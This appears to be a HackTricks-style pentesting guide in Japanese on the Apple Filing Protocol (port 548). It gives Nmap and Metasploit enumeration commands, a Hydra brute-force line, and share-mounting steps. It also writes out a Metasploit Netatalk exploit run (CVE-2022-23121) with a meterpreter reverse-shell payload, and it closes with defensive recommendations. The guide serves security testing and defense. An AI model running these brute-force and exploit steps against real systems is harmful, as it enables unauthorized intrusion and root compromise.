113 lines
6.0 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 548 - Pentesting Apple Filing Protocol (AFP)
{{#include ../banners/hacktricks-training.md}}
## 基本情報
**Apple Filing Protocol** (**AFP**)は、かつてAppleTalk Filing Protocolとして知られていた、**Apple File Service** (**AFS**)に含まれる専門的なネットワークプロトコルです。macOSおよび古典的なMac OSのためのファイルサービスを提供するように設計されています。AFPは、Unicodeファイル名、POSIXスタイルおよびACL権限、リソースフォーク、名前付き拡張属性、洗練されたファイルロックメカニズムをサポートしている点で際立っています。
AFPは、現代のmacOSリリースではSMBに取って代わられていますOS X 10.9以降はSMBがデフォルト。それでも、以下の環境で遭遇することがあります
* レガシーmacOS / Mac OS 9環境
* オープンソースの**Netatalk**デーモンを組み込んだNASアプライアンスQNAP、Synology、Western Digital、TrueNAS…
* Time-Machine-over-AFPがまだ有効な混合OSネットワーク
**デフォルトTCPポート** **548**TCP上のAFP / DSI
```bash
PORT STATE SERVICE
548/tcp open afp
```
---
## 列挙
### クイックバナー / サーバー情報
```bash
# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>
# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>
```
有用なAFP NSEスクリプト
| スクリプト | 何をするか |
|--------|--------------|
| **afp-ls** | 利用可能なAFPボリュームとファイルをリスト表示 |
| **afp-brute** | AFPログインに対するパスワードブルートフォース |
| **afp-serverinfo** | サーバー名、マシンタイプ、AFPバージョン、サポートされているUAMなどをダンプ |
| **afp-showmount** | 共有とそのACLを一緒にリスト表示 |
| **afp-path-vuln** | ディレクトリトラバーサル、CVE-2010-0533を検出および悪用可能 |
NSEブルートフォーススクリプトは、より多くの制御が必要な場合、Hydra/Medusaと組み合わせることができます
```bash
hydra -L users.txt -P passwords.txt afp://<IP>
```
### シェアとの対話
*macOS*
```bash
# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp
```
*Linux* (using `afpfs-ng` ほとんどのディストリビューションにパッケージされています)
```bash
apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>
```
マウントされたら、クラシックMacのリソースフォークは隠し`._*` AppleDoubleファイルとして保存されることを忘れないでください。これらはしばしばDFIRツールが見逃す興味深いメタデータを保持しています。
---
## 一般的な脆弱性と悪用
### Netatalkの認証なしRCEチェーン2022
いくつかのNASベンダーは**Netatalk ≤3.1.12**を出荷しました。`parse_entries()`の境界チェックの欠如により、攻撃者は悪意のある**AppleDouble**ヘッダーを作成し、認証前に**リモートルート**を取得することができます(**CVSS 9.8 CVE-2022-23121**。Western-Digital PR4100を悪用するPoCを含むNCC Groupによる完全な詳細が利用可能です。
Metasploit (>= 6.3)は、DSI `WRITE`を介してペイロードを提供するモジュール`exploit/linux/netatalk/parse_entries`を出荷しています。
```bash
use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0 # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run
```
対象が影響を受けたQNAP/Synologyファームウェアを実行している場合、成功したエクスプロイトは**root**としてシェルを提供します。
### Netatalk OpenSession ヒープオーバーフロー (2018)
古いNetatalk (3.0.0 - 3.1.11)は、**DSI OpenSession**ハンドラーにおけるバッファオーバーランの脆弱性があり、認証されていないコードの実行を可能にします (**CVE-2018-1160**)。詳細な分析とPoCはTenable Researchによって公開されました。
### その他の注目すべき問題
* **CVE-2022-22995** AppleDouble v2が有効な場合に任意のファイル書き込み/RCEを引き起こすシンボリックリンクリダイレクション (3.1.0 - 3.1.17)。
* **CVE-2010-0533** Apple Mac OS X 10.6 AFPにおけるディレクトリトラバーサル (検出は`afp-path-vuln.nse`による)。
* **Netatalk 4.x (2024)**では複数のメモリ安全性バグが修正されました 個別のCVEをパッチするよりもアップグレードを推奨します。
---
## 防御的推奨事項
1. **AFPを無効にする** SMB3またはNFSを代わりに使用してください。
2. AFPを維持する必要がある場合は、**Netatalkを≥ 3.1.18または4.xにアップグレード**するか、2022/2023/2024のパッチをバックポートしたベンダーファームウェアを適用してください。
3. **強力なUAM**(例:*DHX2*)を強制し、クリアテキストおよびゲストログインを無効にします。
4. TCP 548を信頼できるサブネットに制限し、リモートで公開される場合はAFPをVPN内にラップします。
5. CI/CDで`nmap -p 548 --script afp-*`を定期的にスキャンして、悪意のある/ダウングレードされた機器を検出します。
---
### [Brute-Force](../generic-hacking/brute-force.md#afp)
## 参考文献
* Netatalkセキュリティアドバイザリー CVE-2022-23121 "parse_entriesにおける任意のコード実行" <https://netatalk.io/security/CVE-2022-23121>
* Tenable Research "18年前のバグを悪用する (CVE-2018-1160)" <https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172>
{{#include ../banners/hacktricks-training.md}}